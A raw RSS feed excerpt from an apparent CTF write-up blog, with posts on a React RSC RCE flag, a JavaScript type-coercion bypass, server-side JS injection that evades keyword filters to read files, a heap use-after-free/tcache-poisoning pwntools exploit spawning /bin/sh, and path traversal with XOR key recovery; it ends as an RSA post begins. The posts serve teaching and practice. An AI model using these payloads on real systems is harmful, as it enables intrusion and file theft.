1:E{&quot;digest&quot;:&quot;HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;React Server Components&lt;/strong&gt; introduce new attack surfaces through the Flight protocol&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deserialization vulnerabilities&lt;/strong&gt; can lead to RCE even in modern frameworks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Production error handling&lt;/strong&gt; can leak sensitive data through &lt;code&gt;error.digest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thenable objects&lt;/strong&gt; can be weaponized to trigger code execution during promise resolution&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Magical Palindrome</title><link>https://daryx.vercel.app/posts/htb-magical-palindrome/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/htb-magical-palindrome/</guid><description>JavaScript Type Coercion exploit to bypass palindrome validation with minimal payload</description><pubDate>Tue, 28 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;In Dumbledore&apos;s absence, Harry&apos;s memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry to find path to salvation?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;h3&gt;Examining the Source Code&lt;/h3&gt;
&lt;p&gt;The challenge provides several configuration files. The key files are:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;index.mjs&lt;/strong&gt; - Main server logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const IsPalinDrome = (string) =&amp;gt; {
    if (string.length &amp;lt; 1000) {
        return &apos;Tootus Shortus&apos;;
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== &apos;string&apos;) {
            return &apos;Notter Palindromer!!&apos;;
        }
    }

    return null;
}

app.post(&apos;/&apos;, async (c) =&amp;gt; {
    const {palindrome} = await c.req.json();
    const error = IsPalinDrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`Hii Harry!!! ${flag}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;nginx.conf&lt;/strong&gt; - Server configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 80;
    server_name 127.0.0.1;
    client_max_body_size 75;  // Only 75 BYTES allowed!

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_read_timeout 5s;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Challenge&lt;/h3&gt;
&lt;p&gt;We need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Send a palindrome with &lt;code&gt;length &amp;gt;= 1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Keep the request body under 75 bytes&lt;/li&gt;
&lt;li&gt;Pass the palindrome validation check&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At first glance, this seems impossible - a JSON payload with 1000 characters would be over 1000 bytes!&lt;/p&gt;
&lt;h2&gt;The Vulnerability&lt;/h2&gt;
&lt;h3&gt;JavaScript Type Coercion Bug&lt;/h3&gt;
&lt;p&gt;The vulnerability lies in how JavaScript handles the &lt;code&gt;Array()&lt;/code&gt; constructor with different data types.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Observations:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When &lt;code&gt;string.length&lt;/code&gt; is a &lt;strong&gt;NUMBER&lt;/strong&gt; (e.g., &lt;code&gt;1000&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Array(1000).keys()  // Creates iterator with 1000 values: 0, 1, 2, ..., 999
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;When &lt;code&gt;string.length&lt;/code&gt; is a &lt;strong&gt;STRING&lt;/strong&gt; (e.g., &lt;code&gt;&quot;1000&quot;&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Array(&quot;1000&quot;).keys()  // Creates array [&quot;1000&quot;] with ONE element!
// Iterator yields only: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Exploit&lt;/h3&gt;
&lt;p&gt;By sending an object with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;length&lt;/code&gt; as a &lt;strong&gt;string&lt;/strong&gt; &lt;code&gt;&quot;1000&quot;&lt;/code&gt; (not a number)&lt;/li&gt;
&lt;li&gt;Properties at indices &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;999&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Pass the length check:&lt;/strong&gt; &lt;code&gt;&quot;1000&quot; &amp;lt; 1000&lt;/code&gt; - JavaScript coerces the string to number - &lt;code&gt;1000 &amp;lt; 1000&lt;/code&gt; - &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minimize loop iterations:&lt;/strong&gt; &lt;code&gt;Array(&quot;1000&quot;)&lt;/code&gt; creates an array with only ONE element, so the loop runs only ONCE&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass the palindrome check:&lt;/strong&gt; The single iteration only checks &lt;code&gt;string[0]&lt;/code&gt; vs &lt;code&gt;string[999]&lt;/code&gt;, both set to &lt;code&gt;&quot;a&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The Solution&lt;/h2&gt;
&lt;h3&gt;Exploit Payload&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{&quot;palindrome&quot;:{&quot;0&quot;:&quot;a&quot;,&quot;999&quot;:&quot;a&quot;,&quot;length&quot;:&quot;1000&quot;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Payload size:&lt;/strong&gt; 50 bytes (well under the 75-byte limit!)&lt;/p&gt;
&lt;h3&gt;Execution Flow&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Step 1: Length check
&quot;1000&quot; &amp;lt; 1000  // String coerced to number: 1000 &amp;lt; 1000 = false

// Step 2: Create array
Array(&quot;1000&quot;)  // Creates [&quot;1000&quot;] - array with ONE element

// Step 3: Loop iteration
for (const i of Array(&quot;1000&quot;).keys()) {  // Yields only: i=0
    const original = string[0];      // = &quot;a&quot;
    const reverse = string[&quot;1000&quot; - 0 - 1];  // = string[999] = &quot;a&quot;

    if (&quot;a&quot; !== &quot;a&quot; || typeof &quot;a&quot; !== &apos;string&apos;) {  // false || false = false
        return &apos;Notter Palindromer!!&apos;;
    }
}

// Step 4: Success!
return null;  // Returns flag
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final Command&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://target:port \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;palindrome&quot;:{&quot;0&quot;:&quot;a&quot;,&quot;999&quot;:&quot;a&quot;,&quot;length&quot;:&quot;1000&quot;}}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Result&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Hii Harry!!! HTB{Lum0s_M@x!ma}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Type Coercion Vulnerabilities:&lt;/strong&gt; JavaScript&apos;s automatic type coercion can lead to unexpected behavior&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Array Constructor Behavior:&lt;/strong&gt; &lt;code&gt;Array(n)&lt;/code&gt; behaves differently when &lt;code&gt;n&lt;/code&gt; is a number vs. a string&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input Validation:&lt;/strong&gt; Always validate not just the value but also the &lt;strong&gt;type&lt;/strong&gt; of user inputs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defense:&lt;/strong&gt; Use strict equality (&lt;code&gt;===&lt;/code&gt;) and type checking, especially when dealing with user-controlled data&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Proper Fix&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const IsPalinDrome = (string) =&amp;gt; {
    // Validate input type
    if (typeof string !== &apos;string&apos;) {
        return &apos;Invalid input type&apos;;
    }

    // Ensure length is a number
    if (typeof string.length !== &apos;number&apos; || string.length &amp;lt; 1000) {
        return &apos;Tootus Shortus&apos;;
    }

    // ... rest of validation
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;HTB{Lum0s_M@x!ma}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Calculator</title><link>https://daryx.vercel.app/posts/nexthunt-calculator/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/nexthunt-calculator/</guid><description>Server-Side JavaScript Injection via template literals to bypass keyword filters</description><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&quot;let&apos;s do some math&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The challenge provides a simple calculator web application that evaluates user expressions server-side.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;The frontend JavaScript (&lt;code&gt;bundle.js&lt;/code&gt;) reveals:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A client-side filter blocking &lt;code&gt;[&apos;&quot;\[\]\{\}]&lt;/code&gt; characters&lt;/li&gt;
&lt;li&gt;User expressions are sent to &lt;code&gt;/calculate&lt;/code&gt; endpoint via POST&lt;/li&gt;
&lt;li&gt;The server evaluates the expression and returns the result&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Server-Side Filtering&lt;/h3&gt;
&lt;p&gt;Testing revealed the server blocks certain keywords:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;process&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, &lt;code&gt;require&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global&lt;/code&gt;, &lt;code&gt;globalThis&lt;/code&gt;, &lt;code&gt;Function&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__proto__&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, string concatenation inside template literals can bypass keyword detection.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;h3&gt;Step 1: Bypass constructor filter&lt;/h3&gt;
&lt;p&gt;Using template literal concatenation to access the &lt;code&gt;Function&lt;/code&gt; constructor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;``[`const`+`ructor`][`const`+`ructor`](`return 1`)()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This chain:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;``&lt;/code&gt; - empty string&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[`const`+`ructor`]&lt;/code&gt; - accesses &lt;code&gt;String.prototype.constructor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[`const`+`ructor`]&lt;/code&gt; again - accesses &lt;code&gt;Function&lt;/code&gt; constructor&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(`return 1`)()&lt;/code&gt; - creates and executes a function&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 2: Bypass process filter&lt;/h3&gt;
&lt;p&gt;Inside the &lt;code&gt;Function&lt;/code&gt; constructor body, we can split the &lt;code&gt;process&lt;/code&gt; keyword:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;``[`const`+`ructor`][`const`+`ructor`](`var p=p`+`rocess;return p.env`)()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Load fs module and read flag&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;process.mainModule.constructor._load()&lt;/code&gt; to dynamically load the &lt;code&gt;fs&lt;/code&gt; module:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;``[`const`+`ructor`][`const`+`ructor`](`
  var p=p`+`rocess;
  var m=p.mainModule.con`+`structor;
  var fs=m._load(\`fs\`);
  return fs.readdirSync(\`/app\`)
`)()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This revealed: &lt;code&gt;[&quot;Public&quot;,&quot;file.txt&quot;,&quot;flag.txt&quot;,&quot;node_modules&quot;,&quot;package-lock.json&quot;,&quot;package.json&quot;,&quot;server.js&quot;]&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Read the flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;``[`const`+`ructor`][`const`+`ructor`](`
  var p=p`+`rocess;
  var m=p.mainModule.con`+`structor;
  var fs=m._load(\`fs\`);
  return fs.readFileSync(\`/app/flag.txt\`,\`utf8\`)
`)()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Template literals&lt;/strong&gt; (backticks) can bypass string-based keyword filters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String concatenation&lt;/strong&gt; inside function bodies can evade detection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;process.mainModule.constructor._load()&lt;/code&gt;&lt;/strong&gt; provides an alternative to &lt;code&gt;require()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Client-side validation is easily bypassed by directly calling the API&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>GhostNote</title><link>https://daryx.vercel.app/posts/nexthunt-ghostnote/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/nexthunt-ghostnote/</guid><description>Heap UAF to tcache poisoning for arbitrary write</description><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&quot;We created a secure note-taking application that reuses memory for efficiency. Can you exploit it?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Binary Analysis&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ checksec chall
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All protections are enabled, but we&apos;re dealing with a heap challenge. GLIBC 2.31 uses tcache and has &lt;code&gt;__free_hook&lt;/code&gt; available.&lt;/p&gt;
&lt;h3&gt;Functionality&lt;/h3&gt;
&lt;p&gt;Classic note-taking application with 4 operations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Add Note&lt;/strong&gt; - Allocates a chunk (size 1-4096) and stores pointer in &lt;code&gt;notes[idx]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete Note&lt;/strong&gt; - Frees the chunk at &lt;code&gt;notes[idx]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Show Note&lt;/strong&gt; - Prints content of &lt;code&gt;notes[idx]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Edit Note&lt;/strong&gt; - Reads new content into &lt;code&gt;notes[idx]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Vulnerability: Use-After-Free (UAF)&lt;/h2&gt;
&lt;p&gt;In &lt;code&gt;delete_note&lt;/code&gt;, the chunk is freed but the pointer is &lt;strong&gt;NOT nullified&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void delete_note() {
    int idx = get_int();
    if (idx &amp;lt; 0 || idx &amp;gt; 9 || notes[idx] == NULL) {
        puts(&quot;Invalid index or empty.&quot;);
        return;
    }
    free(notes[idx]);      // Chunk is freed
    // notes[idx] = NULL;  // MISSING! This is the vulnerability
    puts(&quot;Note deleted.&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows us to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read freed memory&lt;/strong&gt; via &lt;code&gt;show_note()&lt;/code&gt; - Leak heap/libc addresses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write to freed memory&lt;/strong&gt; via &lt;code&gt;edit_note()&lt;/code&gt; - Tcache poisoning&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploitation Strategy&lt;/h2&gt;
&lt;h3&gt;1. Leak Libc Address&lt;/h3&gt;
&lt;p&gt;Allocate a large chunk (&amp;gt;0x408 bytes) that goes to unsorted bin when freed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(2, 0x420, b&apos;C&apos; * 0x41f)  # Large chunk
add(3, 0x20, b&apos;D&apos; * 0x1f)    # Guard to prevent consolidation
delete(2)                     # Goes to unsorted bin
data = show(2)                # UAF read - leaks main_arena pointer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The unsorted bin fd/bk pointers point to &lt;code&gt;main_arena+96&lt;/code&gt; in libc.&lt;/p&gt;
&lt;h3&gt;2. Tcache Poisoning&lt;/h3&gt;
&lt;p&gt;Poison tcache to allocate a chunk at &lt;code&gt;__free_hook&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(4, 0x40, b&apos;E&apos; * 0x3f)
add(5, 0x40, b&apos;F&apos; * 0x3f)
delete(4)                     # tcache[0x50]: chunk4
delete(5)                     # tcache[0x50]: chunk5 -&amp;gt; chunk4

edit(5, p64(free_hook))       # UAF write - poison fd to __free_hook
                              # tcache[0x50]: chunk5 -&amp;gt; __free_hook

add(6, 0x40, b&apos;/bin/sh\x00&apos;)  # Returns chunk5
add(7, 0x40, p64(system))     # Returns __free_hook, write system addr
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Trigger Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;delete(6)  # free(chunk6) -&amp;gt; system(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *

context.arch = &apos;amd64&apos;

# Libc 2.31-0ubuntu9.17 offsets
libc_system = 0x52290
libc_free_hook = 0x1eee48

def main():
    p = remote(&apos;ctf.nexus-security.club&apos;, 2808)

    # Setup chunks
    add(p, 0, 0x80, b&apos;A&apos; * 0x7f)
    add(p, 1, 0x80, b&apos;B&apos; * 0x7f)
    delete(p, 0)

    # Leak libc via unsorted bin
    add(p, 2, 0x420, b&apos;C&apos; * 0x41f)
    add(p, 3, 0x20, b&apos;D&apos; * 0x1f)
    delete(p, 2)

    data = show(p, 2)
    leak = u64(data[:8].ljust(8, b&apos;\x00&apos;))
    libc_base = leak - 0x1ecbe0
    log.info(f&quot;Libc base: {hex(libc_base)}&quot;)

    system = libc_base + libc_system
    free_hook = libc_base + libc_free_hook

    # Tcache poisoning
    add(p, 4, 0x40, b&apos;E&apos; * 0x3f)
    add(p, 5, 0x40, b&apos;F&apos; * 0x3f)
    delete(p, 4)
    delete(p, 5)

    edit(p, 5, p64(free_hook))
    add(p, 6, 0x40, b&apos;/bin/sh\x00&apos;)
    add(p, 7, 0x40, p64(system))

    # Trigger shell
    delete(p, 6)

    p.interactive()

if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Always NULL pointers after free&lt;/strong&gt; - The missing &lt;code&gt;notes[idx] = NULL&lt;/code&gt; led to UAF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unsorted bin leaks libc&lt;/strong&gt; - Large freed chunks have fd/bk pointing to main_arena&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tcache poisoning&lt;/strong&gt; - In GLIBC 2.31, tcache fd can be overwritten to get arbitrary allocation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__free_hook&lt;/code&gt;&lt;/strong&gt; - Classic target for code execution (removed in GLIBC 2.34+)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Secure Storage</title><link>https://daryx.vercel.app/posts/nexthunt-secure-storage/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/nexthunt-secure-storage/</guid><description>Path Traversal + Known Plaintext Attack on XOR encryption</description><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The challenge presents a &quot;Secure Storage&quot; web application that allows users to upload and download files. The files are encrypted using XOR encryption with a session-specific key.&lt;/p&gt;
&lt;h2&gt;Initial Analysis&lt;/h2&gt;
&lt;p&gt;Key observations from analyzing &lt;code&gt;main.go&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File Upload/Download System&lt;/strong&gt;: Users can upload files which are encrypted with XOR before storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session Management&lt;/strong&gt;: Each session gets a unique encryption key (64 bytes) stored in SQLite database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encryption&lt;/strong&gt;: Files are XOR encrypted with the session key using &lt;code&gt;xorCopy()&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Paths&lt;/strong&gt;: Upload uses &lt;code&gt;filepath.Join()&lt;/code&gt; with sanitization, but download uses &lt;code&gt;path.Join()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vulnerability: Path Traversal&lt;/h2&gt;
&lt;p&gt;The critical vulnerability is in the &lt;code&gt;handleDownload&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fileName := r.PathValue(&quot;file&quot;)
filePath := path.Join(dir, fileName)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The Bug:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The download handler uses &lt;code&gt;path.Join()&lt;/code&gt; instead of &lt;code&gt;filepath.Join()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;path.Join()&lt;/code&gt; is designed for URL paths, not filesystem paths&lt;/li&gt;
&lt;li&gt;URL-encoded path traversal sequences like &lt;code&gt;..%2F&lt;/code&gt; are NOT cleaned by the Go HTTP router&lt;/li&gt;
&lt;li&gt;After URL decoding, &lt;code&gt;..%2F&lt;/code&gt; becomes &lt;code&gt;../&lt;/code&gt; which allows directory traversal&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploitation Strategy&lt;/h2&gt;
&lt;p&gt;The path traversal allows reading arbitrary files, but there&apos;s a catch:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The flag is located at &lt;code&gt;/flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When downloading ANY file, it gets XOR encrypted with the session key&lt;/li&gt;
&lt;li&gt;Downloaded flag = &lt;code&gt;plaintext_flag XOR key&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;We need the XOR key to decrypt the flag!&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Getting the Encryption Key&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Download the Go binary&lt;/strong&gt; at &lt;code&gt;/app/main&lt;/code&gt; using path traversal&lt;/li&gt;
&lt;li&gt;The binary is a &lt;strong&gt;known ELF format&lt;/strong&gt; with predictable header bytes&lt;/li&gt;
&lt;li&gt;Build the same binary locally to get the exact plaintext&lt;/li&gt;
&lt;li&gt;XOR the downloaded (encrypted) binary with local binary to extract the key:
&lt;code&gt;key = encrypted_binary XOR known_plaintext_binary&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use the extracted key to decrypt the flag&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Exploitation Steps&lt;/h2&gt;
&lt;h3&gt;Step 1: Download Encrypted Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://target/download/..%2F..%2F..%2F..%2Fflag.txt&quot; \
  -b &quot;sid=YOUR_SESSION_COOKIE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Download the Binary to Extract Key&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://target/download/..%2F..%2F..%2F..%2Fapp%2Fmain&quot; \
  -b &quot;sid=YOUR_SESSION_COOKIE&quot; \
  -o main_encrypted
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Build Local Binary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;go build -o main_local main.go
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: Extract the 64-byte XOR Key&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

with open(&apos;main_encrypted&apos;, &apos;rb&apos;) as f:
    encrypted_binary = f.read()

with open(&apos;main_local&apos;, &apos;rb&apos;) as f:
    local_binary = f.read()

# Extract 64-byte key by XORing first 64 bytes
key = bytearray(64)
for i in range(64):
    key[i] = encrypted_binary[i] ^ local_binary[i]

print(f&quot;Key: {key.hex()}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 5: Decrypt the Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

key = bytes.fromhex(&quot;3e1169a2c4f80a4c...&quot;)  # extracted key
encrypted_flag = bytes.fromhex(&quot;507411d7b783667f...&quot;)  # from step 1

flag = bytearray()
for i in range(len(encrypted_flag)):
    flag.append(encrypted_flag[i] ^ key[i % 64])

print(flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Root Cause Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Incorrect Path Function&lt;/strong&gt;: Using &lt;code&gt;path.Join()&lt;/code&gt; (URL paths) instead of &lt;code&gt;filepath.Join()&lt;/code&gt; (filesystem paths)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing Input Validation&lt;/strong&gt;: No sanitization on the &lt;code&gt;fileName&lt;/code&gt; parameter in download handler&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inconsistent Security&lt;/strong&gt;: Upload properly sanitizes with &lt;code&gt;filepath.Base()&lt;/code&gt;, but download doesn&apos;t&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Path vs Filepath&lt;/strong&gt;: Go&apos;s &lt;code&gt;path&lt;/code&gt; package is for URLs, &lt;code&gt;filepath&lt;/code&gt; is for filesystem paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Known Plaintext Attacks&lt;/strong&gt;: XOR encryption is vulnerable when attackers can access both ciphertext and plaintext&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defense in Depth&lt;/strong&gt;: Multiple controls prevent exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nexus{l34k_7h3_k3y_br34k7h3_c1ph3r}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Addition 2</title><link>https://daryx.vercel.app/posts/amateurctf-2025-addition2/</link><guid isPermaLink="true">https://daryx.vercel.app/posts/amateurctf-2025-addition2/</guid><description>RSA Linearization Attack using Continued Fractions</description><pubDate>Wed, 22 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;330 pts&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Challenge Setup&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flag Setup:&lt;/strong&gt; The flag is left-shifted by 256 bits (F)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modulus:&lt;/strong&gt; Standard 2048-bit RSA modulus N&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encryption:&lt;/strong&gt; m = F + r (where r is random 256-bit), returns c = (F + r)^3 mod N&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vulnerability Analysis&lt;/h2&gt;
&lt;p&gt;Key observation about sizes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flag (F) is ~2^832&lt;/li&gt;
&lt;li&gt;Random padding (r) is small: 2^256&lt;/li&gt;
&lt;li&gt;Modulus (N) is 2^2048&lt;/li&gt;
